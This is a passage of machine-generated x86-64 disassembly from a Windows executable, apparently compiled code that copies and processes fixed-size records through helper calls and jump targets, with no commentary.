add rbx, 0x14
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x15
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x16
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x17
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x18
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x19
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x1a
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x1b
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x1c
jmp 0x14003ef85
cmp byte [rsp + 0x2f1], 0
je 0x140040aa3
cmp byte [rsp + 0x2f2], 0x5d
je 0x140040ad1
lea rsi, [rsp + 0x140]
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.1400301bb
mov rdi, qword [rsi]
test rdi, rdi
je 0x14003fb22
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x60]
inc byte [rcx + 0x30]
call fcn.140148697
mov qword [rsp + 0x140], rdi
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rax
test rdi, rdi
je 0x14003faad
xor esi, esi
test rax, rax
mov rcx, qword [rsp + 0x30]
cmovne rcx, rax
mov qword [rsp + 0x30], rcx
cmove rsi, rdi
jmp 0x14003fac1
mov rbx, qword [rsp + 0x38]
add rbx, 0x1d
jmp 0x14003ef85
mov rbx, qword [rsp + 0x38]
add rbx, 0x1e
xor esi, esi
mov qword [rsp + 0x30], rbx
xor edi, edi
jmp 0x14003efac
mov rbx, qword [rsp + 0x38]
add rbx, 0x1f
xor esi, esi
mov qword [rsp + 0x30], rbx
xor edi, edi
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0x50]
call fcn.14007ab60
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
test sil, sil
je 0x14003f21f
lea rsi, [rsp + 0x60]
mov rdx, qword [rsi + 0x10]
lea r9, [0x14033ef80]
mov r8d, 5
mov rcx, rbx
call fcn.14003818f
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.140041f3a
mov al, byte [rsi]
cmp al, 0x19
jne 0x14003f260
lea rsi, [rsp + 0x60]
mov rax, qword [rsi + 0x18]
movups xmm0, xmmword [rsi + 8]
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], rax
mov rcx, rsi
mov rdx, r13
call fcn.14003c75f
mov al, byte [rsi]
cmp al, 0x19
jne 0x14003f2ac
mov qword [rsp + 0xe8], rbp
mov qword [rsp + 0xe0], rbx
lea rcx, [rsp + 0x70]
mov rax, qword [rcx - 8]
mov rbx, qword [rcx]
imul rbp, qword [rcx + 8], 0x48
lea rcx, [rbx + rbp]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x108], rcx
mov qword [rsp + 0x110], rbx
lea rax, [rsp + 0x120]
mov qword [rsp + 0x118], rax
lea r12, [rbx + 0x48]
lea r15, [rsp + 0x260]
mov qword [rsp + 0x30], rbx
test rbp, rbp
je 0x14003f2dd
lea rax, [r12 - 0x48]
mov ecx, 9
lea rdi, [rsp + 0x360]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x368], 0
je 0x14003f2f5
mov r14, r15
mov ecx, 9
lea rdi, [rsp + 0x70]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rbx
cmp qword [rsp + 0xb0], 0
je 0x14003f173
cmp qword [rsp + 0x80], 0
je 0x14003f173
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x50], rbx
mov ecx, 9
lea rbx, [rsp + 0x140]
mov rdi, rbx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
lea rbp, [rsp + 0x1b0]
mov rcx, rbp
mov rdx, rbx
call fcn.140042845
mov r15, r14
mov rcx, r14
mov rdx, rbp
xor r8d, r8d
call fcn.140041fa7
cmp qword [rsp + 0x268], 0
je 0x14003f185
mov ecx, 9
lea r13, [rsp + 0x2f0]
mov rdi, r13
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
jmp 0x14003f1c0
lea rcx, [rsp + 0x70]
call fcn.14000ba0c
mov r15, r14
jmp 0x14003f212
mov rcx, rbp
mov rdx, rbx
call fcn.140042845
mov r8, qword [rsp + 0x128]
mov r9, qword [rsp + 0x130]
lea r13, [rsp + 0x2f0]
mov rcx, r13
mov rdx, rbp
call fcn.140041fa7
lea rcx, [rsp + 0x270]
call fcn.14000be79
mov rcx, rbx
call fcn.14000ba0c
mov ecx, 9
mov rdi, rbp
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
mov rcx, r15
mov rdx, rbp
call fcn.14000d257
cmp qword [rsp + 0x268], 0
je 0x14003f208
mov ecx, 9
mov rbx, qword [rsp + 0x50]
mov rdi, rbx
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov r15, r14
add rbx, 0x48
jmp 0x14003f20d
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x38]
add r12, 0x48
add rbp, 0xffffffffffffffb8
jmp 0x14003f0a4
mov rcx, rbp
mov rdx, rbx
call fcn.14007ab60
mov eax, dword [rsp + 0x140]
mov ecx, dword [rsp + 0x143]
mov dword [r12 + 4], ecx
mov dword [r12 + 1], eax
mov byte [r12], 0x18
mov byte [r12 + 8], dil
mov byte [r12 + 9], r15b
mov rax, qword [rsp + 0x30]
mov qword [r12 + 0x10], rax
jmp 0x140040a47
movups xmm0, xmmword [rsp + 0x61]
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x1bf], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
mov rcx, qword [rsp + 0x80]
movups xmm0, xmmword [rsp + 0x1bf]
movups xmmword [r12 + 0x10], xmm0
movaps xmm0, xmmword [rsp + 0x1b0]
movups xmmword [r12 + 1], xmm0
mov byte [r12], al
mov qword [r12 + 0x20], rcx
jmp 0x14003f8b3
mov ecx, dword [rsp + 0x61]
mov edx, dword [rsp + 0x64]
mov dword [r12 + 4], edx
mov dword [r12 + 1], ecx
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
mov byte [r12], al
movups xmmword [r12 + 8], xmm0
movups xmmword [r12 + 0x18], xmm1
jmp 0x14003f89e
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x100], rax
and qword [rsp + 0x368], 0
jmp 0x14003f2fd
mov qword [rsp + 0x100], r12
lea rcx, [rsp + 0x360]
call fcn.140009516
mov rbp, qword [rsp + 0x30]
sub rbx, rbp
mov ecx, 0x48
mov rax, rbx
xor edx, edx
div rcx
mov rsi, rax
lea rdi, [rsp + 0xf8]
mov rcx, rdi
call fcn.140017501
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], rbp
mov qword [rsp + 0x3f0], rsi
mov rcx, rdi
call fcn.140009822
lea rsi, [rsp + 0x60]
mov rcx, rsi
mov rdx, qword [rsp + 0x40]
call fcn.14003d2e3
mov al, byte [rsi]
cmp al, 0x19
jne 0x14003f54f
lea rdx, [rsp + 0x70]
mov rax, qword [rdx - 8]
mov rbx, qword [rdx]
imul rbp, qword [rdx + 8], 0x70
lea rcx, [rbx + rbp]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x108], rcx
mov qword [rsp + 0x110], rbx
lea rax, [rsp + 0x120]
mov qword [rsp + 0x118], rax
lea r12, [rbx + 0x70]
lea r15, [rsp + 0x260]
lea r14, [rsp + 0x2f0]
mov qword [rsp + 0x30], rbx
test rbp, rbp
je 0x14003f57c
lea rax, [r12 - 0x70]
mov ecx, recvfrom
lea rdi, [rsp + 0x360]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x378], 0
je 0x14003f594
mov r13, r15
mov ecx, recvfrom
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rbx
cmp qword [rsp + 0xc0], 0
je 0x14003f49e
cmp qword [rsp + 0x90], 0
je 0x14003f49e
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x50], rbx
mov ecx, recvfrom
lea rbp, [rsp + 0x140]
mov rdi, rbp
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
lea rbx, [rsp + 0x1b0]
mov rcx, rbx
mov rdx, rbp
call fcn.140042889
mov r15, r13
mov rcx, r13
mov rdx, rbx
xor r8d, r8d
call fcn.1400422eb
cmp qword [rsp + 0x278], 0
je 0x14003f4b3
mov ecx, recvfrom
mov rdi, r14
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
jmp 0x14003f4e6
mov rcx, rdx
call fcn.14000bf20
lea rdx, [rsp + 0x70]
mov r15, r13
jmp 0x14003f542
mov rcx, rbx
mov rdx, rbp
call fcn.140042889
mov r8, qword [rsp + 0x128]
mov r9, qword [rsp + 0x130]
mov rcx, r14
mov rdx, rbx
call fcn.1400422eb
lea rcx, [rsp + 0x280]
call fcn.14000be79
mov rcx, rbp
call fcn.14000bf20
mov ecx, recvfrom
mov rdi, rbx
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, r15
mov rdx, rbx
call fcn.14000d173
cmp qword [rsp + 0x278], 0
je 0x14003f533
mov ecx, recvfrom
mov rbx, qword [rsp + 0x50]
mov rdi, rbx
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
mov r15, r13
add rbx, 0x70
lea rdx, [rsp + 0x70]
jmp 0x14003f53d
lea rdx, [rsp + 0x70]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x38]
add r12, 0x70
add rbp, 0xffffffffffffff90
jmp 0x14003f3d9
mov ecx, dword [rsp + 0x61]
mov edx, dword [rsp + 0x64]
mov rbp, qword [rsp + 0x48]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
mov byte [rbp], al
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm1
jmp 0x14003f881
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x100], rax
and qword [rsp + 0x378], 0
jmp 0x14003f59c
mov qword [rsp + 0x100], r12
lea rcx, [rsp + 0x360]
call fcn.1400094ef
mov rbp, qword [rsp + 0x30]
sub rbx, rbp
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov rax, rbx
xor edx, edx
div rcx
mov rsi, rax
lea rdi, [rsp + 0xf8]
mov rcx, rdi
call fcn.14001755a
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x2d8], rbp
mov qword [rsp + 0x2e0], rsi
mov rcx, rdi
call fcn.140009766
lea rsi, [rsp + 0x60]
mov rcx, rsi
mov rdx, qword [rsp + 0x40]
call fcn.14003cd08
mov al, byte [rsi]
cmp al, 0x19
jne 0x14003f84c
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
shl r13, 6
lea rax, [rbx + r13]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], rbx
lea rax, [rsp + 0x120]
mov qword [rsp + 0x118], rax
lea r15, [rbx + 0x40]
lea r12, [rsp + 0x260]
lea rsi, [rsp + 0x2f0]
lea rdi, [rsp + 0x1b0]
mov rbp, rbx
lea rcx, [rsp + 0x70]
test r13, r13
je 0x14003f8be
lea rax, [r15 - 0x40]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x370], xmm1
movaps xmmword [rsp + 0x390], xmm3
movaps xmmword [rsp + 0x380], xmm2
movaps xmmword [rsp + 0x360], xmm0
cmp qword [rsp + 0x378], 0
je 0x14003f8d6
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
cmp qword [rsp + 0x90], 0
je 0x14003f793
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x320], xmm3
movaps xmmword [rsp + 0x310], xmm2
movaps xmmword [rsp + 0x300], xmm1
movaps xmmword [rsp + 0x2f0], xmm0
mov rcx, r12
mov rdx, rsi
call fcn.1400428e6
mov rcx, rdi
mov rdx, r12
xor r8d, r8d
call fcn.140042176
cmp dword [rsp + 0x1b0], 1
jne 0x14003f7a2
lea r14, [rsp + 0x140]
mov rcx, r14
mov rdx, rsi
call fcn.1400428e6
mov r8, qword [rsp + 0x128]
mov r9, qword [rsp + 0x130]
mov rcx, r12
mov rdx, r14
call fcn.140042176
lea rcx, [rsp + 0x1b8]
call fcn.14000be79
jmp 0x14003f7c5
call fcn.14000b57f
lea rcx, [rsp + 0x70]
jmp 0x14003f83f
mov ecx, 9
mov rdi, r12
lea rsi, [rsp + 0x1b0]
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0x2f0]
lea r14, [rsp + 0x140]
mov rcx, rsi
call fcn.14000b57f
mov ecx, 9
lea rdi, [rsp + 0x1b0]
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x1b0]
mov rcx, r14
mov rdx, rdi
call fcn.14000d1be
cmp qword [rsp + 0x158], 0
je 0x14003f832
movups xmm0, xmmword [rsp + 0x140]
movups xmm1, xmmword [rsp + 0x150]
movups xmm2, xmmword [rsp + 0x160]
movups xmm3, xmmword [rsp + 0x170]
movups xmmword [rbp + 0x30], xmm3
movups xmmword [rbp + 0x20], xmm2
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
add rbp, 0x40
lea rcx, [rsp + 0x70]
lea rsi, [rsp + 0x2f0]
add r15, 0x40
add r13, 0xffffffffffffffc0
jmp 0x14003f682
mov ecx, dword [rsp + 0x61]
mov edx, dword [rsp + 0x64]
mov rbp, qword [rsp + 0x48]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
mov byte [rbp], al
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm1
lea rcx, [rsp + 0x2d0]
call fcn.14000935c
lea rcx, [rsp + 0x3e0]
call fcn.140009466
mov rbx, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
call fcn.14007ab60
mov rcx, rbp
mov rdx, rbx
jmp 0x140040a42
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x100], rax
and qword [rsp + 0x378], 0
jmp 0x14003f8de
mov qword [rsp + 0x100], r15
lea rcx, [rsp + 0x360]
call fcn.1400093e6
sub rbp, rbx
shr rbp, 6
lea rdi, [rsp + 0xf8]
mov rcx, rdi
call fcn.1400175b3
lea rsi, [rsp + 0x248]
mov rax, qword [rsp + 0x30]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rbp
mov rcx, rdi
call fcn.140009739
mov rbp, qword [rsp + 0x40]
lea rcx, [rbp + 0x38]
lea rdi, [rsp + 0x3e0]
mov rdx, rdi
call fcn.1400173f8
lea rcx, [rbp + 0x50]
lea rbx, [rsp + 0x2d0]
mov rdx, rbx
call fcn.1400171e3
lea rcx, [rbp + 0x68]
mov rdx, rsi
call fcn.1400172ec
mov rax, qword [rbp + 0x48]
add qword [0x140481fa0], rax
mov rax, qword [rbp + 0x78]
add qword [0x140481fb8], rax
mov rcx, rsi
call fcn.140009565
mov rcx, rbx
call fcn.14000935c
mov rcx, rdi
call fcn.140009466
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
call fcn.14007ab60
mov rcx, qword [rsp + 0xe8]
mov rdx, qword [rsp + 0xe0]
call fcn.14007ab60
jmp 0x140040358
xor edx, edx
mov ebp, 0x38
cmp edx, eax
jae 0x14003f9f2
cmp rdi, qword [rsp + 0xe0]
jae 0x140040b64
mov ecx, ebp
and cl, 0x38
mov rbx, r10
shr rbx, cl
mov rcx, qword [rsp + 0xe8]
mov byte [rcx + rdi], bl
inc rdi
add edx, 8
add ebp, 0xfffffff8
jmp 0x14003f9bf
mov rax, qword [rsp + 0x70]
cmp rax, rdi
cmovb rdi, rax
mov qword [rsp + 0x70], rdi
mov dil, 3
mov sil, 1
jmp 0x14003e8ce
mov rcx, qword [rsp + 0x2f8]
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
xor r15d, r15d
mov qword [rsp + 0x30], rcx
jmp 0x14003fa65
xor r15d, r15d
mov qword [rsp + 0x30], rax
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
jmp 0x14003fa65
lea rdx, [rsp + 0x140]
mov qword [rdx], 5
jmp 0x14003fb13
test r15, r15
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
je 0x140040b31
lea rcx, [rsp + 0x60]
inc byte [rcx + 0x30]
call fcn.140003072
mov qword [rsp + 0x140], r15
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rax
test r15, r15
je 0x14003faad
xor esi, esi
test rax, rax
mov rcx, qword [rsp + 0x30]
cmovne rcx, rax
mov qword [rsp + 0x30], rcx
cmove rsi, r15
jmp 0x14003fac1
test rax, rax
je 0x14003fabf
lea rcx, [rsp + 0x150]
call fcn.14000aae6
xor esi, esi
test rsi, rsi
je 0x14003fbe7
lea rcx, [rsp + 0x60]
call fcn.140003027
mov rdi, rax
test rax, rax
jne 0x14003fbf9
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
call fcn.14007ab60
lea rcx, [rsp + 0x1b0]
call fcn.14000c2b0
jmp 0x14003db1e
lea rdx, [rsp + 0x140]
mov qword [rdx], 0x18
lea rcx, [rsp + 0x60]
call fcn.140331a00
jmp 0x14003fbf6
mov rax, qword [rsp + 0x148]
jmp 0x14003ec9d
lea r8, [0x14033d680]
xor ecx, ecx
xor edx, edx
jmp 0x14003fbc2
lea r8, [0x14033d698]
mov ecx, 1
mov edx, 1
jmp 0x14003fbc2
lea r8, [0x14033d6b0]
mov ecx, 2
mov edx, 2
jmp 0x14003fbc2
lea r8, [0x14033d6c8]
mov ecx, 3
mov edx, 3
jmp 0x14003fbc2
lea r8, [0x14033d6e0]
mov ecx, 4
mov edx, 4
jmp 0x14003fbc2
lea r8, [0x14033d6f8]
mov ecx, 5
mov edx, 5
jmp 0x14003fbc2
lea r8, [0x14033d710]
mov ecx, 6
mov edx, 6
jmp 0x14003fbc2
lea r8, [0x14033d728]
mov ecx, 7
mov edx, 7
call fcn.140332c70
ud2
lea r8, [0x14033e768]
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x248]
call fcn.140331a7a
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x30]
call fcn.140337167
mov rdi, rax
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
call fcn.14007ab60
mov eax, dword [rsp + 0xf8]
mov ecx, dword [rsp + 0xfb]
mov dword [rsp + 0x261], eax
mov dword [rsp + 0x264], ecx
movups xmm0, xmmword [rsp + 0x360]
movups xmmword [rsp + 0x278], xmm0
mov byte [rsp + 0x260], reloc.WS2_32.dll_socket
mov qword [rsp + 0x268], rdi
mov qword [rsp + 0x270], rdi
lea rcx, [rsp + 0x1b0]
call fcn.14000c2b0
mov rax, qword [rsp + 0x280]
lea rcx, [rsp + 0x60]
mov qword [rcx + 0x20], rax
mov al, byte [rsp + 0x260]
mov rdx, qword [rsp + 0x261]
mov ebp, dword [rsp + 0x269]
movzx ebx, word [rsp + 0x26d]
mov r8b, byte [rsp + 0x26f]
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rcx + 0x10], xmm0
mov byte [rcx], al
mov qword [rcx + 1], rdx
mov dword [rcx + 9], ebp
mov word [rcx + 0xd], bx
mov byte [rcx + 0xf], r8b
call fcn.14000be79
lea rsi, [rsp + 0x60]
mov rcx, rsi
mov rdx, r13
call fcn.14003c75f
mov al, byte [rsi]
cmp al, 0x19
jne 0x14003fe07
mov qword [rsp + 0x48], r12
lea rbx, [rsp + 0x70]
mov rax, qword [rbx - 8]
mov rbp, qword [rbx]
imul r15, qword [rbx + 8], 0x48
lea rcx, [r15 + rbp]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x370], rcx
mov qword [rsp + 0x378], rbp
lea r12, [rbp + 0x48]
lea r14, [rsp + 0x1b0]
mov r13, rbp
test r15, r15
je 0x14003fe38
lea rax, [r12 - 0x48]
mov ecx, 9
lea rdi, [rsp + 0x2f0]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x2f8], 0
je 0x14003fe50
mov ecx, 9
mov rdi, rbx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], r13
cmp qword [rsp + 0xb0], 0
je 0x14003fdeb
cmp qword [rsp + 0x80], 0
je 0x14003fdeb
mov qword [rsp + 0x30], r13
mov ecx, 9
lea r13, [rsp + 0x140]
mov rdi, r13
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
mov rdx, r13
call fcn.140042845
lea rsi, [rsp + 0x260]
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
call fcn.140041fa7
mov rcx, r14
mov rdx, rsi
call fcn.14000d257
mov rcx, r13
call fcn.14000ba0c
cmp qword [rsp + 0x1b8], 0
je 0x14003fdf5
mov ecx, 9
mov r13, qword [rsp + 0x30]
mov rdi, r13
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
add r13, 0x48
jmp 0x14003fdfa
mov rcx, rbx
call fcn.14000ba0c
jmp 0x14003fdfa
mov r13, qword [rsp + 0x30]
add r12, 0x48
add r15, 0xffffffffffffffb8
jmp 0x14003fd1a
mov ecx, dword [rsp + 0x61]
mov edx, dword [rsp + 0x64]
mov dword [r12 + 4], edx
mov dword [r12 + 1], ecx
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
mov byte [r12], al
movups xmmword [r12 + 8], xmm0
movups xmmword [r12 + 0x18], xmm1
jmp 0x140040a47
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x368], rax
and qword [rsp + 0x2f8], 0
jmp 0x14003fe58
mov qword [rsp + 0x368], r12
lea rcx, [rsp + 0x2f0]
call fcn.140009516
sub r13, rbp
mov ecx, 0x48
mov rax, r13
xor edx, edx
div rcx
mov rsi, rax
lea rdi, [rsp + 0x360]
mov rcx, rdi
call fcn.140017501
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x2d8], rbp
mov qword [rsp + 0x2e0], rsi
mov rcx, rdi
call fcn.140009822
lea rsi, [rsp + 0x60]
mov rcx, rsi
mov rdx, qword [rsp + 0x40]
call fcn.14003d2e3
mov al, byte [rsi]
cmp al, 0x19
jne 0x14003fffd
lea rbp, [rsp + 0x70]
mov rax, qword [rbp - 8]
mov rbx, qword [rbp]
imul r15, qword [rbp + 8], 0x70
lea rcx, [rbx + r15]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x370], rcx
mov qword [rsp + 0x378], rbx
lea r12, [rbx + 0x70]
lea r14, [rsp + 0x1b0]
mov r13, rbx
test r15, r15
je 0x14004002a
lea rax, [r12 - 0x70]
mov ecx, recvfrom
lea rdi, [rsp + 0x2f0]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x308], 0
je 0x140040042
mov ecx, recvfrom
mov rdi, rbp
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], r13
cmp qword [rsp + 0xc0], 0
je 0x14003ffe1
cmp qword [rsp + 0x90], 0
je 0x14003ffe1
mov qword [rsp + 0x30], r13
mov ecx, recvfrom
lea r13, [rsp + 0x140]
mov rdi, r13
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
mov rdx, r13
call fcn.140042889
lea rsi, [rsp + 0x260]
mov rcx, rsi
mov rdx, r14
xor r8d, r8d
call fcn.1400422eb
mov rcx, r14
mov rdx, rsi
call fcn.14000d173
mov rcx, r13
call fcn.14000bf20
cmp qword [rsp + 0x1c8], 0
je 0x14003ffeb
mov ecx, recvfrom
mov r13, qword [rsp + 0x30]
mov rdi, r13
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
add r13, 0x70
jmp 0x14003fff0
mov rcx, rbp
call fcn.14000bf20
jmp 0x14003fff0
mov r13, qword [rsp + 0x30]
add r12, 0x70
add r15, 0xffffffffffffff90
jmp 0x14003ff10
mov ecx, dword [rsp + 0x61]
mov edx, dword [rsp + 0x64]
mov rbp, qword [rsp + 0x48]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
mov byte [rbp], al
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm1
jmp 0x14004027b
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x368], rax
and qword [rsp + 0x308], 0
jmp 0x14004004a
mov qword [rsp + 0x368], r12
lea rcx, [rsp + 0x2f0]
call fcn.1400094ef
sub r13, rbx
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov rax, r13
xor edx, edx
div rcx
mov rsi, rax
lea rdi, [rsp + 0x360]
mov rcx, rdi
call fcn.14001755a
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x250], rbx
mov qword [rsp + 0x258], rsi
mov rcx, rdi
call fcn.140009766
lea rsi, [rsp + 0x60]
mov rcx, rsi
mov rdx, qword [rsp + 0x40]
call fcn.14003cd08
mov al, byte [rsi]
cmp al, 0x19
jne 0x140040246
mov rax, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
shl rbx, 6
lea rcx, [rsi + rbx]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x370], rcx
mov qword [rsp + 0x378], rsi
lea r14, [rsi + 0x40]
lea r13, [rsp + 0x260]
lea r15, [rsp + 0x140]
lea r12, [rsp + 0x1b0]
mov rdi, rsi
test rbx, rbx
je 0x14004028d
lea rax, [r14 - 0x40]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x300], xmm1
movaps xmmword [rsp + 0x320], xmm3
movaps xmmword [rsp + 0x310], xmm2
movaps xmmword [rsp + 0x2f0], xmm0
cmp qword [rsp + 0x308], 0
je 0x1400402a5
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rbp + 0x30], xmm3
movups xmmword [rbp + 0x20], xmm2
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
cmp qword [rsp + 0x90], 0
je 0x140040231
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x170], xmm3
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov rcx, r13
mov rdx, r15
call fcn.1400428e6
mov rcx, r12
mov rdx, r13
xor r8d, r8d
call fcn.140042176
mov rcx, r13
mov rdx, r12
call fcn.14000d1be
mov rcx, r15
call fcn.14000b57f
cmp qword [rsp + 0x278], 0
je 0x140040239
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
movups xmm2, xmmword [rsp + 0x280]
movups xmm3, xmmword [rsp + 0x290]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
add rdi, 0x40
jmp 0x140040239
mov rcx, rbp
call fcn.14000b57f
add r14, 0x40
add rbx, 0xffffffffffffffc0
jmp 0x140040113
mov ecx, dword [rsp + 0x61]
mov edx, dword [rsp + 0x64]
mov rbp, qword [rsp + 0x48]
mov dword [rbp + 4], edx
mov dword [rbp + 1], ecx
movups xmm0, xmmword [rsp + 0x68]
